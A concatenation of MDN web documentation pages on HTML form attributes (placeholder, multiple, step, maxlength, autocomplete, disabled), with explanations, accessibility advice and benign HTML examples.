assistive technology users what data should be entered in the control. Labels also improve user experience for users of pointing devices: When a user clicks, touches, or taps a `<label>`, focus is moved to the label's associated form control. Placeholders can not be relied upon as a replacement for a label even for those not relying on assistive technology. Placeholder text is displayed at lower color contrast than the default form control text. This is by design, as you don't want users to be confused by what is placeholder text versus what is a filled-in form field. However, this lack of contrast can cause issues for low-vision users. Additionally, placeholder text disappears from form fields when users start entering text. If the placeholder text contains instructional information or examples that disappear, it can be confusing to users with cognitive issues and can make the form inaccessible if the placeholder contained the label. ## Example ### HTML ```html <form action="/en-US/docs/Web/HTML/Attributes/placeholder"> <label for="name">Enter your name:</label> <input type="text" id="name" name="name" placeholder="e.g. Mike Shinoda" /> <button type="submit">Submit</button> </form> ``` ### Result {{EmbedLiveSample('Example', '150px', '150px')}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - HTML [`title`](/en-US/docs/Web/HTML/Global_attributes/title) - CSS [`:placeholder-shown`](/en-US/docs/Web/CSS/:placeholder-shown) pseudo-class selector - CSS [`::placeholder`](/en-US/docs/Web/CSS/::placeholder) pseudo-element selector
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/multiple/index.md
--- title: "HTML attribute: multiple" slug: Web/HTML/Attributes/multiple page-type: html-attribute spec-urls: https://html.spec.whatwg.org/multipage/input.html#attr-input-multiple --- {{HTMLSidebar}} The Boolean **`multiple`** attribute, if set, means the form control accepts one or more values. Valid for the {{HTMLElement("input/email", "email")}} and {{HTMLElement("input/file", "file")}} input types and the {{HTMLElement("select")}}, the manner by which the user opts for multiple values depends on the form control. {{EmbedInteractiveExample("pages/tabbed/attribute-multiple.html", "tabbed-standard")}} ## Overview Depending on the type, the form control may have a different appearance if the `multiple` attribute is set. For the file input type, the native messaging the browser provides differs. In Firefox, the file input reads "No files selected" when the attribute is present and "No file selected" when it is not. Most browsers display a scrolling list box for a {{HTMLElement("select")}} control with the `multiple` attribute set and a single line dropdown when the attribute is omitted. The {{HTMLElement("input/email", "email")}} input displays the same whether or not the `multiple` attribute is included, but will match the {{cssxref(':invalid')}} pseudo-class if more than one comma-separated email address is included if the attribute is not present. When `multiple` is set on the {{HTMLElement("input/email", "email")}} input type, the user can include zero (if not also [`required`](/en-US/docs/Web/HTML/Attributes/required)), one or more comma-separated email addresses. ```html <input type="email" multiple name="emails" id="emails" /> ``` If and only if the `multiple` attribute is specified, the value can be a list of properly-formed comma-separated email addresses. Any trailing and leading whitespace is removed from each address in the list. When `multiple` is set on the {{HTMLElement("input/file", "file")}} input type, the user can select one or more files. The user can choose multiple files from the file picker in any way that their chosen platform allows (e.g. by holding down <kbd>Shift</kbd> or <kbd>Control</kbd>, and then clicking). ```html <input type="file" multiple name="uploads" id="uploads" /> ``` When the attribute is omitted, the user can only select a single file per `<input>`. The `multiple` attribute on the {{HTMLElement("select")}} element represents a control for selecting zero or more options from the list of options. Otherwise, the {{HTMLElement("select")}} element represents a control for selecting a single {{HTMLElement("option")}} from the list of options. ```html <select multiple name="dwarfs" id="dwarfs"> <option>Grumpy</option> <option>Happy</option> <option>Sleepy</option> <option>Bashful</option> <option>Sneezy</option> <option>Dopey</option> <option>Doc</option> </select> ``` When `multiple` is specified, most browsers will show a scrolling list box instead of a single line dropdown. ## Accessibility concerns Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the `multiple` attribute, inform the user that multiple values are allowed and provide directions on how to provide multiple values, such as "separate email addresses with a comma." Setting `size="1"` on a multiple select can make it appear as a single select in some browsers, but then it doesn't expand on focus, harming usability. Don't do that. If you do change the appearance of a select, and even if you don't, make sure to inform the user that more than one option can be selected by another method. ## Examples ### email input ```html <label for="emails">Who do you want to email?</label> <input type="email" multiple name="emails" id="emails" list="dwarf-emails" required size="64" /> <datalist id="dwarf-emails"> <option value="[email protected]">Grumpy</option> <option value="[email protected]">Happy</option> <option value="[email protected]">Sleepy</option> <option value="[email protected]">Bashful</option> <option value="[email protected]">Sneezy</option> <option value="[email protected]">Dopey</option> <option value="[email protected]">Doc</option> </datalist> ``` ```css hidden input:invalid { border: red solid 3px; } ``` If and only if the `multiple` attribute is specified, the value can be a list of properly-formed comma-separated email addresses. Any trailing and leading whitespace is removed from each address in the list. If the [`required`](/en-US/docs/Web/HTML/Attributes/required) attribute is present, at least one email address is required. Some browsers support the appearance of the [`list`](/en-US/docs/Web/HTML/Element/input#list) of options from the associated {{htmlelement('datalist')}} for subsequent email addresses when `multiple` is present. Others do not. {{EmbedLiveSample("email_input", 600, 80) }} ### file input When `multiple` is set on the {{HTMLElement("input/file", "file")}} input type, the user can select one or more files: ```html <form method="post" enctype="multipart/form-data"> <p> <label for="uploads"> Choose the images you want to upload: </label> <input type="file" id="uploads" name="uploads" accept=".jpg, .jpeg, .png, .svg, .gif" multiple /> </p> <p> <label for="text">Pick a text file to upload: </label> <input type="file" id="text" name="text" accept=".txt" /> </p> <p> <input type="submit" value="Submit" /> </p> </form> ``` {{EmbedLiveSample("file_input", 600, 80) }} Note the difference in appearance between the example with `multiple` set and the other `file` input without. When the form is submitted, had we used [`method="get"`](/en-US/docs/Web/HTML/Element/form) each selected file's name would have been added to URL parameters as`?uploads=img1.jpg&uploads=img2.svg`. However, since we are submitting multipart form data, we much use post. See the {{htmlelement('form')}} element and [sending form data](/en-US/docs/Learn/Forms/Sending_and_retrieving_form_data#the_method_attribute) for more information. ### select The `multiple` attribute on the {{HTMLElement("select")}} element represents a control for selecting zero or more options from the list of options. Otherwise, the {{HTMLElement("select")}} element represents a control for selecting a single {{HTMLElement("option")}} from the list of options. The control generally has a different appearance based on the presence of the multiple attribute, with most browsers displaying a scrolling list box instead of a single line dropdown when the attribute is present. ```html <form method="get" action="#"> <p> <label for="dwarfs">Select the dwarf woodsman you like:</label> <select multiple name="dwarfs" id="dwarfs"> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> </select> </p> <p> <label for="favoriteOnly">Select your favorite:</label> <select name="favoriteOnly" id="favoriteOnly"> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> <option>[email protected]</option> </select> </p> <p> <input type="submit" value="Submit" /> </p> </form> ``` {{EmbedLiveSample("select", 600, 120) }} Note the difference in appearance between the two form controls. ```css /* uncomment this CSS to make the multiple the same height as the single */ /* select[multiple] { height: 1.5em; vertical-align: top; } select[multiple]:focus, select[multiple]:active { height: auto; } */ ``` There are a few ways to select multiple options in a `<select>` element with a `multiple` attribute. Depending on the operating system, mouse users can hold the <kbd>Ctrl</kbd>, <kbd>Command</kbd>, or <kbd>Shift</kbd> keys and then click multiple options to select/deselect them. Keyboard users can select multiple contiguous items by focusing on the `<select>` element, selecting an item at the top or bottom of the range they want to select using the <kbd>Up</kbd> and <kbd>Down</kbd> cursor keys to go up and down the options. The selection of non-contiguous is not as well-supported: items should be able to be selected and deselected by pressing <kbd>Space</kbd>, but support varies between browsers. ## Specifications {{Specifications}} ## See also - {{htmlelement('input')}} - {{htmlelement('select')}} - [Allowing multiple email addresses](/en-US/docs/Web/HTML/Element/input/email#allowing_multiple_email_addresses)
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/step/index.md
--- title: "HTML attribute: step" slug: Web/HTML/Attributes/step page-type: html-attribute browser-compat: html.elements.input.step --- {{HTMLSidebar}} The **`step`** attribute is a number that specifies the granularity that the value must adhere to or the keyword `any`. It is valid for the numeric input types, including the {{HTMLElement("input/date", "date")}}, {{HTMLElement("input/month", "month")}}, {{HTMLElement("input/week", "week")}}, {{HTMLElement("input/time", "time")}}, {{HTMLElement("input/datetime-local", "datetime-local")}}, {{HTMLElement("input/number", "number")}} and {{HTMLElement("input/range", "range")}} types. The `step` sets the _stepping interval_ when clicking up and down spinner buttons, moving a slider left and right on a range, and validating the different date types. If not explicitly included, `step` defaults to 1 for `number` and `range`, and 1 unit type (minute, week, month, day) for the date/time input types. The value must be a positive number - integer or float — or the special value `any`, which means no stepping is implied and any value is allowed (barring other constraints, such as [`min`](/en-US/docs/Web/HTML/Attributes/min) and [`max`](/en-US/docs/Web/HTML/Attributes/max)). The default stepping value for `number` inputs is 1, allowing only integers to be entered, _unless_ the stepping base is not an integer. The default stepping value for `time` is 1 second, with 900 being equal to 15 minutes. ## Syntax <table class="no-markdown"> <caption> Default values for step </caption> <thead> <tr> <th>Input type</th> <th>Value</th> <th>Example</th> </tr> </thead> <tbody> <tr> <td>{{HTMLElement("input/date", "date")}}</td> <td>1 (day)</td> <td><code>&#x3C;input type="date" min="2019-12-25" step="1"></code></td> </tr> <tr> <td>{{HTMLElement("input/month", "month")}}</td> <td>1 (month)</td> <td><code>&#x3C;input type="month" min="2019-12" step="12"></code></td> </tr> <tr> <td>{{HTMLElement("input/week", "week")}}</td> <td>1 (week)</td> <td><code>&#x3C;input type="week" min="2019-W23" step="2"></code></td> </tr> <tr> <td>{{HTMLElement("input/time", "time")}}</td> <td>60 (seconds)</td> <td><code>&#x3C;input type="time" min="09:00" step="900"></code></td> </tr> <tr> <td> {{HTMLElement("input/datetime-local", "datetime-local")}} </td> <td>1 (second)</td> <td> <code >&#x3C;input type="datetime-local" min="2019-12-25T19:30" step="7"></code > </td> </tr> <tr> <td>{{HTMLElement("input/number", "number")}}</td> <td>1</td> <td> <code>&#x3C;input type="number" min="0" step="0.1" max="10"></code> </td> </tr> <tr> <td>{{HTMLElement("input/range", "range")}}</td> <td>1</td> <td><code>&#x3C;input type="range" min="0" step="2" max="10"></code></td> </tr> </tbody> </table> If `any` is not explicitly set, valid values for the `number`, date/time input types, and `range` input types are equal to the basis for stepping - the [`min`](/en-US/docs/Web/HTML/Attributes/min) value and increments of the step value, up to the [`max`](/en-US/docs/Web/HTML/Attributes/max) value, if specified. The following example results in any even integer, 10 or greater, being valid: ```html <input type="number" min="10" step="2" /> ``` If `step` is omitted, any integer is valid but floats like 4.2 are not valid as `step` defaults to 1. For 4.2 to be valid: - either `step` would have to be set to `any`, 0.1, or 0.2, - or the `min` value would have to be a number ending in .2, such as 0.2, 1.2, or -5.2. ## Examples ### `min` impact on step The value of `min` defines valid values, even if the `step` attribute is not included. This is because `step` defaults to 1. In this example, we add a big red border around invalid inputs: ```css input:invalid { border: solid red 3px; } ``` We then define an input with a minimum value of 1.2 and a step value of 2: ```html <input id="myNumber" name="myNumber" type="number" step="2" min="1.2" /> ``` Valid values include 1.2, 3.2, 5.2, 7.2, 9.2, 11.2, and so on. Only floats with an odd-numbered integer part and a decimal part of .2 are valid. The number spinner, if present, generates valid float values of 1.2 and greater, in increments of 2. {{EmbedLiveSample("min_impact_on_step","100%",55)}} > **Note:** When the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in constraint validation and will match the {{cssxref(":invalid")}} and {{cssxref(":out-of-range")}} pseudoclasses. See [Client-side validation](/en-US/docs/Web/HTML/Constraint_validation) and {{domxref("ValidityState.stepMismatch", "stepMismatch")}} for more information. ## Accessibility concerns Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the `min` attribute, ensure this minimum requirement is understood by the user. Providing instructions within the {{htmlelement('label')}} may be sufficient. If providing instructions outside of labels, which allows more flexible positioning and design, consider using [`aria-labelledby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby) or [`aria-describedby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-describedby). ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [`max`](/en-US/docs/Web/HTML/Attributes/max) - [`min`](/en-US/docs/Web/HTML/Attributes/min) - [Constraint validation](/en-US/docs/Web/HTML/Constraint_validation) - [Form validation](/en-US/docs/Learn/Forms/Form_validation) - {{domxref('validityState.stepMismatch')}} - {{cssxref(':out-of-range')}} - {{htmlelement('input')}} - {{HTMLElement("input/date", "date")}}, {{HTMLElement("input/month", "month")}}, {{HTMLElement("input/week", "week")}}, {{HTMLElement("input/time", "time")}}, {{HTMLElement("input/datetime-local", "datetime-local")}}, {{HTMLElement("input/number", "number")}} and {{HTMLElement("input/range", "range")}} types, and the {{htmlelement('meter')}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/maxlength/index.md
--- title: "HTML attribute: maxlength" slug: Web/HTML/Attributes/maxlength page-type: html-attribute browser-compat: - html.elements.input.maxlength - html.elements.textarea.maxlength --- {{HTMLSidebar}} The **`maxlength`** attribute defines the maximum [string length](/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length) that the user can enter into an {{htmlelement('input')}} or {{htmlelement('textarea')}}. The attribute must have an integer value of 0 or higher. The length is measured in UTF-16 code units, which ([for most scripts](/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length#strings_with_length_not_equal_to_the_number_of_characters)) is equivalent to the number of characters. If no `maxlength` is specified, or an invalid value is specified, the input has no maximum length. Any `maxlength` value must be greater than or equal to the value of [`minlength`](/en-US/docs/Web/HTML/Attributes/minlength), if present and valid. The input will fail constraint validation if the length of the text value of the field is greater than maxlength UTF-16 code units long. Constraint validation is only applied when the value is changed by the user. ### Constraint validation While the browser will generally prevent user from entering more text than the maxlength attribute allows, should the length be longer than the maxlength allows, the read-only {{domxref("ValidityState.tooLong", "tooLong")}} property of a {{domxref("ValidityState")}} object will be true. {{EmbedInteractiveExample("pages/tabbed/attribute-maxlength.html", "tabbed-shorter")}} ## Examples ```html <input type="password" maxlength="4" /> ``` {{EmbedLiveSample('Examples', '100%', 200)}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [`minlength`](/en-US/docs/Web/HTML/Attributes/minlength) - [`size`](/en-US/docs/Web/HTML/Attributes/size) - [`pattern`](/en-US/docs/Web/HTML/Attributes/pattern) - [Constraint validation](/en-US/docs/Web/HTML/Constraint_validation) - [Form validation](/en-US/docs/Learn/Forms/Form_validation) - {{htmlelement('input')}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/autocomplete/index.md
--- title: "HTML attribute: autocomplete" slug: Web/HTML/Attributes/autocomplete page-type: html-attribute browser-compat: html.global_attributes.autocomplete --- {{HTMLSidebar}} The HTML `autocomplete` attribute lets web developers specify what if any permission the {{Glossary("user agent")}} has to provide automated assistance in filling out form field values, as well as guidance to the browser as to the type of information expected in the field. It is available on {{HTMLElement("input")}} elements that take a text or numeric value as input, {{HTMLElement("textarea")}} elements, {{HTMLElement("select")}} elements, and {{HTMLElement("form")}} elements. The source of the suggested values is generally up to the browser; typically values come from past values entered by the user, but they may also come from pre-configured values. For instance, a browser might let the user save their name, address, phone number, and email addresses for autocomplete purposes. Perhaps the browser offers the ability to save encrypted credit card information, for autocompletion following an authentication procedure. If an {{HTMLElement("input")}}, {{HTMLElement("select")}} or {{HTMLElement("textarea")}} element has no `autocomplete` attribute, then browsers use the `autocomplete` attribute of the element's form owner, which is either the {{HTMLElement("form")}} element that the element is a descendant of, or the `<form>` whose `id` is specified by the [`form`](/en-US/docs/Web/HTML/Element/input#form) attribute of the element (see the `<form>` [`autocomplete`](/en-US/docs/Web/HTML/Element/form#autocomplete) attribute). > **Note:** In order to provide autocompletion, user-agents might require `<input>`/`<select>`/`<textarea>` elements to: > > 1. Have a `name` and/or `id` attribute > 2. Be descendants of a `<form>` element > 3. The form to have a {{HTMLElement("input/submit", "submit")}} button {{EmbedInteractiveExample("pages/tabbed/attribute-autocomplete.html", "tabbed-shorter")}} ## Values - "`off`" - : The browser is not permitted to automatically enter or select a value for this field. It is possible that the document or application provides its own autocomplete feature, or that security concerns require that the field's value not be automatically entered. > **Note:** In most modern browsers, setting `autocomplete` to "`off`" will not prevent a password manager from asking the user if they would like to save username and password information, or from automatically filling in those values in a site's login form. See [the autocomplete attribute and login fields](/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#the_autocomplete_attribute_and_login_fields). - "`on`" - : The browser is allowed to automatically complete the input. No guidance is provided as to the type of data expected in the field, so the browser may use its own judgement. - "`name`" - : The field expects the value to be a person's full name. Using "`name`" rather than breaking the name down into its components is generally preferred because it avoids dealing with the wide diversity of human names and how they are structured; however, you can use the following `autocomplete` values if you do need to break the name down into its components: - "`honorific-prefix`" - : The prefix or title, such as "Mrs.", "Mr.", "Miss", "Ms.", "Dr.", or "Mlle.". - "`given-name`" - : The given (or "first") name. - "`additional-name`" - : The middle name. - "`family-name`" - : The family (or "last") name. - "`honorific-suffix`" - : The suffix, such as "Jr.", "B.Sc.", "PhD.", "MBASW", or "IV". - "`nickname`" - : A nickname or handle. - "`email`" - : An email address. - "`username`" - : A username or account name. - "`new-password`" - : A new password. When creating a new account or changing passwords, this should be used for an "Enter your new password" or "Confirm new password" field, as opposed to a general "Enter your current password" field that might be present. This may be used by the browser both to avoid accidentally filling in an existing password and to offer assistance in creating a secure password (see also [Preventing autofilling with autocomplete="new-password"](/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#preventing_autofilling_with_autocompletenew-password)). - "`current-password`" - : The user's current password. - "`one-time-code`" - : A one-time password (OTP) for verifying user identity that is used as an additional factor in a sign-in flow. Most commonly this is a code received via some out-of-channel mechanism, such as SMS, email, or authenticator application. - "`organization-title`" - : A job title, or the title a person has within an organization, such as "Senior Technical Writer", "President", or "Assistant Troop Leader". - "`organization`" - : A company or organization name, such as "Acme Widget Company" or "Girl Scouts of America". - "`street-address`" - : A street address. This can be multiple lines of text, and should fully identify the location of the address within its second administrative level (typically a city or town), but should not include the city name, ZIP or postal code, or country name. - "`shipping`" - : The street address to send the product. This can be combined with other tokens, such as "`shipping street-address`" and "`shipping address-level2`". - "`billing`" - : The street address to associate with the form of payment used. This can be combined with other tokens, such as "`billing street-address`" and "`billing address-level2`". - "`address-line1`", "`address-line2`", "`address-line3`" - : Each individual line of the street address. These should only be present if the "`street-address`" is not present. - "`address-level4`" - : The finest-grained [administrative level](#administrative_levels_in_addresses), in addresses which have four levels. - "`address-level3`" - : The third [administrative level](#administrative_levels_in_addresses), in addresses with at least three administrative levels. - "`address-level2`" - : The second [administrative level](#administrative_levels_in_addresses), in addresses with at least two of them. In countries with two administrative levels, this would typically be the city, town, village, or other locality in which the address is located. - "`address-level1`" - : The first [administrative level](#administrative_levels_in_addresses) in the address. This is typically the province in which the address is located. In the United States, this would be the state. In Switzerland, the canton. In the United Kingdom, the post town. - "`country`" - : A country or territory code. - "`country-name`" - : A country or territory name. - "`postal-code`" - : A postal code (in the United States, this is the ZIP code). - "`cc-name`" - : The full name as printed on or associated with a payment instrument such as a credit card. Using a full name field is preferred, typically, over breaking the name into pieces. - "`cc-given-name`" - : A given (first) name as given on a payment instrument like a credit card. - "`cc-additional-name`" - : A middle name as given on a payment instrument or credit card. - "`cc-family-name`" - : A family name, as given on a credit card. - "`cc-number`" - : A credit card number or other number identifying a payment method, such as an account number. - "`cc-exp`" - : A payment method expiration date, typically in the form "MM/YY" or "MM/YYYY". - "`cc-exp-month`" - : The month in which the payment method expires. - "`cc-exp-year`" - : The year in which the payment method expires. - "`cc-csc`" - : The security code for the payment instrument; on credit cards, this is the 3-digit verification number on the back of the card. - "`cc-type`" - : The type of payment instrument (such as "Visa" or "Master Card"). - "`transaction-currency`" - : The currency in which the transaction is to take place. - "`transaction-amount`" - : The amount, given in the currency specified by "`transaction-currency`", of the transaction, for a payment form. - "`language`" - : A preferred language, given as a valid [BCP 47 language tag](https://en.wikipedia.org/wiki/IETF_language_tag). - "`bday`" - : A birth date, as a full date. - "`bday-day`" - : The day of the month of a birth date. - "`bday-month`" - : The month of the year of a birth date. - "`bday-year`" - : The year of a birth date. - "`sex`" - : A gender identity (such as "Female", "Fa'afafine", "Hijra", "Male", "Nonbinary"), as freeform text without newlines. - "`tel`" - : A full telephone number, including the country code. If you need to break the phone number up into its components, you can use these values for those fields: - "`tel-country-code`" - : The country code, such as "1" for the United States, Canada, and other areas in North America and parts of the Caribbean. - "`tel-national`" - : The entire phone number without the country code component, including a country-internal prefix. For the phone number "1-855-555-6502", this field's value would be "855-555-6502". - "`tel-area-code`" - : The area code, with any country-internal prefix applied if appropriate. - "`tel-local`" - : The phone number without the country or area code. This can be split further into two parts, for phone numbers which have an exchange number and then a number within the exchange. For the phone number "555-6502", use "`tel-local-prefix`" for "555" and "`tel-local-suffix`" for "6502". - "`tel-extension`" - : A telephone extension code within the phone number, such as a room or suite number in a hotel or an office extension in a company. - "`impp`" - : A URL for an instant messaging protocol endpoint, such as "xmpp:username\@example.net". - "`url`" - : A URL, such as a home page or company website address as appropriate given the context of the other fields in the form. - "`photo`" - : The URL of an image representing the person, company, or contact information given in the other fields in the form. - "`webauthn`" - : Passkeys generated by the [Web Authentication API](/en-US/docs/Web/API/Web_Authentication_API), as requested by a conditional {{domxref("CredentialsContainer.get()", "navigator.credentials.get()")}} call (i.e., one that includes `mediation: 'conditional'`). See [Sign in with a passkey through form autofill](https://web.dev/articles/passkey-form-autofill) for more details. See the [WHATWG Standard](https://html.spec.whatwg.org/multipage/forms.html#autofill) for more detailed information. > **Note:** The `autocomplete` attribute also controls whether Firefox will — unlike other browsers — [persist the dynamic disabled state and (if applicable) dynamic checkedness](https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing) of an `<input>` element, `<textarea>` element, or entire `<form>` across page loads. The persistence feature is enabled by default. Setting the value of the `autocomplete` attribute to `off` disables this feature. This works even when the `autocomplete` attribute would normally not apply by virtue of its `type`. See [Firefox bug 654072](https://bugzil.la/654072). ## Examples ```html <div> <label for="cc-number">Enter your credit card number</label> <input name="cc-number" id="cc-number" autocomplete="off" /> </div> ``` ## Administrative levels in addresses The four administrative level fields (`address-level1` through `address-level4`) describe the address in terms of increasing levels of precision within the country in which the address is located. Each country has its own system of administrative levels, and may arrange the levels in different orders when addresses are written. `address-level1` always represents the broadest administrative division; it is the least-specific portion of the address short of the country name. ### Form layout flexibility Given that different countries write their address in different ways, with each field in different places within the address, and even different sets and numbers of fields entirely, it can be helpful if, when possible, your site is able to switch to the layout expected by your users when presenting an address entry form, given the country the address is located within. ### Variations The way each administrative level is used will vary from country to country. Below are some examples; this is not meant to be an exhaustive list. #### United States A typical home address within the United States looks like this: 432 Anywhere St Exampleville CA 95555 In the United States, the least-specific portion of the address is the state, in this case "CA" (the official US Postal Service shorthand for "California"). Thus `address-level1` is the state, or "CA" in this case. The second-least specific portion of the address is the city or town name, so `address-level2` is "Exampleville" in this example address. United States addresses do not use levels 3 and up. #### United Kingdom Address input forms in the UK should contain one address level and one, two or three address lines, depending on the address. A complete address would look like so: 103 Frogmarch Street Upper-Wapping Winchelsea TN99 8ZZ The address levels are: - `address-level1`: The post town — "Winchelsea" in this case. - `address-line2`: The locality — "Upper-Wapping" in this case. - `address-line1`: The house/street particulars — "103 Frogmarch Street". The postcode is separate. Note that you can actually use just the postcode and `address-line1` to successfully deliver mail in the UK, so they should be the only mandatory items, but usually people tend to provide more details. #### China China can use as many as three administrative levels: the province, the city, and the district. The 6 digit postal code is not always needed but when supplied it is placed separately with a label for clarity. For example: 北京市东城区建国门北大街 8 号华润大厦 17 层 1708 单元 邮编:100005 #### Japan An address in Japan is typically **written in one line**, in an order from the least-specific to more-specific portions (in **reverse order to the United States**). There are two or three administrative levels in an address. Additional line can be used to show building names and room numbers. The postal code is separate. For example: 〒 381-0000 長野県長野市某町 123 "〒" and following seven digits shows the postal code. `address-level1` is used for prefectures or the Tokyo Metropolis; "長野県" (Nagano Prefecture) is in this case. `address-level2` is typically used for cities, counties, towns and villages; "長野市" (Nagano City) in this case. "某町 123" is `address-line1` which consists of an area name and a lot number. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - The {{htmlelement("input")}} element - The {{htmlelement("select")}} element - The {{htmlelement("textarea")}} element - The {{htmlelement("form")}} element - [HTML forms](/en-US/docs/Learn/Forms) - All [global attributes](/en-US/docs/Web/HTML/Global_attributes)
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/disabled/index.md
--- title: "HTML attribute: disabled" slug: Web/HTML/Attributes/disabled page-type: html-attribute browser-compat: - html.elements.button.disabled - html.elements.fieldset.disabled - html.elements.input.disabled - html.elements.optgroup.disabled - html.elements.option.disabled - html.elements.select.disabled - html.elements.textarea.disabled --- {{HTMLSidebar}} The Boolean **`disabled`** attribute, when present, makes the element not mutable, focusable, or even submitted with the form. The user can neither edit nor focus on the control, nor its form control descendants. {{EmbedInteractiveExample("pages/tabbed/attribute-disabled.html", "tabbed-standard")}} ## Overview If the `disabled` attribute is specified on a form control, the element and its form control descendants do not participate in constraint validation. Often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones. The `disabled` attribute is supported by {{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }} and {{ HTMLElement("input")}}. This Boolean disabled attribute indicates that the user cannot interact with the control or its descendant controls. If this attribute is not specified, the control inherits its setting from the containing element, for example `fieldset`; if there is no containing element with the `disabled` attribute set, and the control itself does not have the attribute, then the control is enabled. If declared on an {{ HTMLElement("optgroup") }}, the select is still interactive (unless otherwise disabled), but none of the items in the option group are selectable. > **Note:** If a {{ HTMLElement("fieldset") }} is disabled, the descendant form controls are all disabled, with the exception of form controls within the {{ HTMLElement("legend") }}. When a supporting element has the `disabled` attribute applied, the {{cssxref(":disabled")}} pseudo-class also applies to it. Conversely, elements that support the `disabled` attribute but don't have the attribute set match the {{cssxref(":enabled")}} pseudo-class. This Boolean attribute prevents the user from interacting with the button. If this attribute isn't set, the button can still be disabled from a containing element, for example {{htmlelement('fieldset')}}; if there is no containing element with the `disabled` attribute set, then the button is enabled. Firefox will, unlike other browsers, persist the dynamic disabled state of a {{htmlelement('button')}} across page loads. Use the [`autocomplete`](/en-US/docs/Web/HTML/Attributes/autocomplete) attribute to control this feature. ### Attribute interactions The difference between `disabled` and [`readonly`](/en-US/docs/Web/HTML/Attributes/readonly) is that read-only controls can still function and are still focusable, whereas disabled controls can not receive focus and are not submitted with the form and generally do not function as controls until they are enabled. Because a disabled field cannot have its value changed, [`required`](/en-US/docs/Web/HTML/Attributes/required) does not have any effect on inputs with the `disabled` attribute also specified. Additionally, since the elements become immutable, most other attributes, such as [`pattern`](/en-US/docs/Web/HTML/Attributes/pattern), have no effect, until the control is enabled. > **Note:** The `required` attribute is not permitted on inputs with the `disabled` attribute specified. ### Usability Browsers display disabled form controls greyed as disabled form controls are immutable, won't receive focus or any browsing events, like mouse clicks or focus-related ones, and aren't submitted with the form. If present on a supporting elements, the `{{cssxref(':disabled')}}` pseudo class will match. If the attribute is not included, the `{{cssxref(':enabled')}}` pseudo class will match. If the element doesn't support the disabled attribute, the attribute will have no effect, including not leading to being matched by the `:disabled` and `:enabled` pseudo classes. ### Constraint validation If the element is `disabled`, then the element's value can not receive focus and cannot be updated by the user, and does not participate in constraint validation. ## Examples When form controls are disabled, many browsers will display them in a lighter, greyed-out color by default. Here are examples of a disabled checkbox, radio button, {{ HTMLElement("option") }} and {{ HTMLElement("optgroup") }}, as well as some form controls that are disabled via the disabled attribute set on the ancestor `{{ HTMLElement("fieldset")}}` element. The {{ HTMLElement("option") }}s are disabled, but the {{ HTMLElement("select") }} itself is not. We could have disable the entire {{ HTMLElement("select") }} by adding the attribute to that element rather than its descendants. ```html <fieldset> <legend>Checkboxes</legend> <p> <label> <input type="checkbox" name="chbox" value="regular" /> Regular </label> </p> <p> <label> <input type="checkbox" name="chbox" value="disabled" disabled /> disabled </label> </p> </fieldset> <fieldset> <legend>Radio buttons</legend> <p> <label> <input type="radio" name="radio" value="regular" /> Regular </label> </p> <p> <label> <input type="radio" name="radio" value="disabled" disabled /> disabled </label> </p> </fieldset> <p> <label >Select an option: <select> <optgroup label="Group 1"> <option>Option 1.1</option> </optgroup> <optgroup label="Group 2"> <option>Option 2.1</option> <option disabled>Option 2.2</option> <option>Option 2.3</option> </optgroup> <optgroup label="Group 3" disabled> <option>Disabled 3.1</option> <option>Disabled 3.2</option> <option>Disabled 3.3</option> </optgroup> </select> </label> </p> <fieldset disabled> <legend>Disabled fieldset</legend> <p> <label> Name: <input type="radio" name="radio" value="regular" /> Regular </label> </p> <p> <label>Number: <input type="number" /></label> </p> </fieldset> ``` {{EmbedLiveSample('Examples', 500, 450)}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{cssxref(':disabled')}} and {{cssxref(':enabled')}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/required/index.md
